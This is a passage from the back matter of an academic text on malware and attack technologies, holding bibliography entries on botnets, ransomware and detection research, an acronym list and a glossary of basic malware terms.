[44] J. T. Bennett, N. Moran, and N. Villeneuve, “Poison ivy: Assessing damage and extract-
pp. 1568–1579.
[81] C. Rossow, “Amplification hell: Revisiting network protocols for DDoS abuse.” in NDSS,
2014.
[82] D. Y. Huang, D. McCoy, M. M. Aliapoulios, V. G. Li, L. Invernizzi, E. Bursztein,
K. McRoberts, J. Levin, K. Levchenko, and A. C. Snoeren, “Tracking ransomware end-
to-end,” in Tracking Ransomware End-to-end. IEEE Symposium on Security & Privacy,
2018.
[83] Y. Ji, S. Lee, M. Fazzini, J. Allen, E. Downing, T. Kim, A. Orso, and W. Lee, “Enabling
refinable cross-host attack investigation with efficient data flow tagging and tracking,”
in 27th USENIX Security Symposium. USENIX Association, 2018, pp. 1705–1722.
[84] G. Gu, P. Porras, V. Yegneswaran, M. Fong, and W. Lee, “BotHunter: Detecting malware
infection through IDS-driven dialog correlation,” in Proceedings of the 16th USENIX Se-
curity Symposium (Security’07), August 2007.
[85] C. Kolbitsch, P. M. Comparetti, C. Kruegel, E. Kirda, X.-y. Zhou, and X. Wang, “Effective
and Efficient Malware Detection at the End Host,” in USENIX security symposium, 2009,
pp. 351–366.
[86] M. Antonakakis, R. Perdisci, Y. Nadji, N. Vasiloglou, S. Abu-Nimeh, W. Lee, and D. Dagon,
“From throw-away traffic to bots: Detecting the rise of DGA-based malware,” in USENIX
security symposium, vol. 12, 2012.
[87] A. Krizhevsky, I. Sutskever, and G. E. Hinton, “ImageNet classification with deep convo-
lutional neural networks,” in Advances in neural information processing systems, 2012,
pp. 1097–1105.
[88] W. Xu, D. Evans, and Y. Qi, “Feature squeezing: Detecting adversarial examples in deep
neural networks,” arXiv preprint arXiv:1704.01155, 2017.
[89] M. McCoyd and D. Wagner, “Background class defense against adversarial examples,”
in 2018 IEEE Security and Privacy Workshops (SPW). IEEE, 2018, pp. 96–102.
[90] Y. Cao and J. Yang, “Towards making systems forget with machine unlearning,” in 2015
IEEE Symposium on Security and Privacy. IEEE, 2015, pp. 463–480.
[91] N. Carlini and D. Wagner, “Towards evaluating the robustness of neural networks,” in
IEEE Symposium on Security and Privacy. IEEE, 2017, pp. 39–57.
[92] D. Bahdanau, K. Cho, and Y. Bengio, “Neural machine translation by jointly learning to
align and translate,” arXiv preprint arXiv:1409.0473, 2014.
[93] W. Guo, D. Mu, J. Xu, P. Su, G. Wang, and X. Xing, “LEMNA: Explaining deep learning
based security applications,” in Proceedings of the 25th ACM Conference on Computer
and Communications Security (CCS ’18), 2018.
[94] N. Dalvi, P. Domingos, S. Sanghai, D. Verma, and others, “Adversarial classification,” in
Proceedings of the tenth ACM SIGKDD international conference on Knowledge discovery
and data mining. ACM, 2004, pp. 99–108.
[95] R. Jordaney, K. Sharad, S. K. Dash, Z. Wang, D. Papini, I. Nouretdinov, and L. Cavallaro,
“Transcend: Detecting concept drift in malware classification models,” in Proceedings
of the 26th USENIX Security Symposium, 2017.
[96] Y. Nadji, M. Antonakakis, R. Perdisci, D. Dagon, and W. Lee, “Beheading hydras: Perform-
ing effective botnet takedowns,” in Proceedings of the 2013 ACM SIGSAC Conference
on Computer & Communications Security. ACM, 2013, pp. 121–132.
[97] C. Rossow, D. Andriesse, T. Werner, B. Stone-Gross, D. Plohmann, C. J. Dietrich, and
H. Bos, “SoK: P2PWNED-modeling and evaluating the resilience of peer-to-peer bot-
nets,” in IEEE Symposium on Security and Privacy. IEEE, 2013, pp. 97–111.
[98] S. Alrwais, X. Liao, X. Mi, P. Wang, X. Wang, F. Qian, R. Beyah, and D. McCoy, “Under the
shadow of sunshine: Understanding and detecting bulletproof hosting on legitimate
service provider networks,” in IEEE Symposium on Security and Privacy. IEEE, 2017, pp.
805–823.
[99] S. Alrabaee, P. Shirani, M. Debbabi, and L. Wang, “On the feasibility of malware author-
ship attribution,” in International Symposium on Foundations and Practice of Security.
Springer, 2016, pp. 256–272.
[100] Y. Chen, P. Kintis, M. Antonakakis, Y. Nadji, D. Dagon, W. Lee, and M. Farrell, “Financial
lower bounds of online advertising abuse,” in International conference on Detection of
Intrusions and Malware, and Vulnerability Assessment. Springer, 2016, pp. 231–254.
[101] Y. Nadji, M. Antonakakis, R. Perdisci, and W. Lee, “Understanding the prevalence and
use of alternative plans in malware with network games,” in Proceedings of the 27th
Annual Computer Security Applications Conference. ACM, 2011, pp. 1–10.
[102] M. Konte, N. Feamster, and J. Jung, “Fast flux service networks: Dynamics and roles in
hosting online scams,” Georgia Institute of Technology, Tech. Rep., 2008.
[103] T. Holz, C. Gorecki, K. Rieck, and F. C. Freiling, “Measuring and detecting fast-flux service
networks.” in NDSS, 2008.
[104] FBI New York Field Office, “Operation ghost click: Interna-
tional cyber ring that infected millions of computers disman-
tled,” April 2012. [Online]. Available: https://www.fbi.gov/news/stories/
international-cyber-ring-that-infected-millions-of-computers-dismantled
[105] W. Meng, R. Duan, and W. Lee, “DNS changer remediation study,” in M3AAWG 27th Gen-
eral Meeting, 2013.
[106] Civil Action No: 1:11cv1O17 (JCC/IDD), Microsoft Corporation v. Dominique Alexander
Piatti, Dotfree Group SRO John Does 1–22, Controlling a computer botnet thereby injuring
Microsoft and its customers. UNITED STATES DISTRICT COURT FOR THE EASTERN
DISTRICT OF VIRGINIA, Feb 2013.
[107] B. Bartholomew and J. A. Guerrero-Saade, “Wave your false flags!” [Online]. Available:
https://securelist.com/wave-your-false-flags/76273/
ACRONYMS
API Application Programing Interface.
APT Advanced Persistent Threat.
AST Abstract Syntax Tree.
AV AntiVirus.
ML Machine Learning.
OS Operating System.
GLOSSARY
advanced persistent threat An attack to an organization that continues its activities and yet
remains undetected for an extended period of time.
exploit Software or data that takes advantage of a vulnerability in a system to cause unin-
tended consequences. (Source = NCSC Glossary).
key-logger A virus or physical device that logs keystrokes to secretly capture private infor-
mation such as passwords or credit card details.(Source = BSI Glossary).
macro virus A virus that attaches itself to documents and uses the macro programming
capabilities of the document’s application to execute and propagate.(Source = NIST IR
7298).
malware analysis The process of analyzing malware code and understanding its intended
functionalities.
malware detection The process of detecting the presence of malware in a system.
metamorphic malware Malware of which each iteration or instance has different code from
the preceding one. The code changes make it difficult to recognize the different itera-
tions are the same malware (contrast with polymorphic malware).
meterpreter A tool that allows an attacker to control a victim’s computer by running an invis-
ible shell and establishing a communication channel back to the attacking machine.
packed malware Packed malware is obfuscated malware in which the malicious program is
compressed and cannot be analysed statically.
packing A technique to obfuscate malware (see packed malware).
polymorphic malware Malware that changes each instance to avoid detection. It typically
has two parts: the decryptor and the encrypted program body. Each instance can en-
crypt the malware program differently and hence has a different decryptor; however,
once decrypted, the same malware code is executed. (contrast with metamorphic mal-
ware).
polymorphism See polymorphic malware.
potentially unwanted program A program that may not be wanted by a user and is often
downloaded along with a program that the user wants. Examples include adware, spy-
ware, etc.
safety In the context of malware analysis, a requirement that malware should be prevented
from causing damage to the connected systems and networks while it runs in the anal-
ysis environment.
sinkholing A technique used by a DNS server to give out false information to prevent the use
of a domain name.
spam The abuse of electronic messaging systems to indiscriminately send unsolicited bulk
messages. (Source = NIST IR 7298).
spyware Software that is secretly or surreptitiously installed into an information system to
gather information on individuals or organizations without their knowledge; a type of
malicious code. (Source = NIST IR 7298).
trojan A computer program that appears to have a useful function, but also has a hidden
and potentially malicious function that evades security mechanisms, sometimes by ex-
ploiting legitimate authorizations of a system entity that invokes the program. (Source
= NIST IR 7298).
virus A hidden, self-replicating section of computer software, usually malicious logic, that
propagates by infecting - i.e., inserting a copy of itself into and becoming part of - an-
other program. A virus cannot run by itself; it requires that its host program be run to
make the virus active. (Source = SANS security glossary).